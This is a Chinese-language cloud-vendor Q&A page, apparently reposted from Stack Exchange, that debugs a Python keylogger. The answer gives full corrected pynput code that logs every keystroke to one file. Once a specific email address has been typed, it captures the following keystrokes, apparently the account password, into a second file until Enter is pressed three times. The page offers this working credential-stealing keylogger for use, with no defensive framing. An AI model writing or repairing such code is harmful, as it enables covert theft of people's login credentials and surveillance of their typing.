You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python键盘记录器logging.txt文件未创建问题求助

键盘记录器问题修复方案

核心问题分析

  • 触发条件无效:你的代码中每次按键只能捕获单个字符(比如输入'e'时keydata是'e'),永远无法匹配完整的"example@hotmail.com"字符串,所以deTPass函数从未被调用,logging.txt自然不会创建。
  • 记录逻辑错误:deTPass里的循环无法监听后续按键,且是死循环——传入的keydata不会随新按键更新,i永远无法增加;同时手动调用close()属于多余操作(with语句会自动关闭文件)。

修复方案

需要维护全局缓冲区累积输入字符,添加状态标记控制是否记录到logging.txt,以及计数Enter按键次数:

修正后的代码

from pynput.keyboard import Listener, Key

# 全局变量:输入缓冲区、是否处于记录状态、Enter按键计数
input_buffer = ""
is_logging = False
enter_count = 0

def prconsole(key):
    global input_buffer, is_logging, enter_count
    keydata = str(key).replace("'", "")

    # 处理特殊按键
    if keydata == "Key.space":
        keydata = " "
    elif keydata == "Key.enter":
        keydata = "\n"
        # 如果处于记录状态,计数Enter
        if is_logging:
            enter_count += 1
            # 达到3次Enter,停止记录
            if enter_count >= 3:
                is_logging = False
                enter_count = 0
    elif keydata.startswith("Key."):
        # 忽略其他功能键(如backspace、shift等,可根据需求调整)
        keydata = f"[{keydata}]"

    # 更新输入缓冲区
    input_buffer += keydata

    # 检查缓冲区是否包含目标邮箱,触发记录状态
    if "example@hotmail.com" in input_buffer and not is_logging:
        is_logging = True
        # 清空缓冲区,避免重复触发
        input_buffer = ""
        # 先写入触发的邮箱字符串到logging.txt
        with open("logging.txt", 'a') as c:
            c.write("example@hotmail.com")

    # 写入主记录文件
    SaveF(keydata)

    # 如果处于记录状态,写入logging.txt
    if is_logging:
        with open("logging.txt", 'a') as c:
            c.write(keydata)

def SaveF(keydata):
    with open("record.txt", 'a') as f:
        f.write(keydata)

with Listener(on_press=prconsole) as l:
    l.join()

代码说明

  1. 全局变量:input_buffer累积所有输入字符,is_logging标记是否需要写入logging.txt,enter_count统计Enter按键次数。
  2. 触发逻辑:当缓冲区中出现目标邮箱时,开启记录状态,并清空缓冲区防止重复触发。
  3. 记录控制:开启记录后,所有按键都会写入logging.txt,直到按下3次Enter,自动关闭记录状态。
  4. 特殊按键处理:对Enter、Space做了转换,其他功能键用[Key.xxx]格式记录,避免乱码。

内容的提问来源于stack exchange,提问作者Token

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.25 10:55:02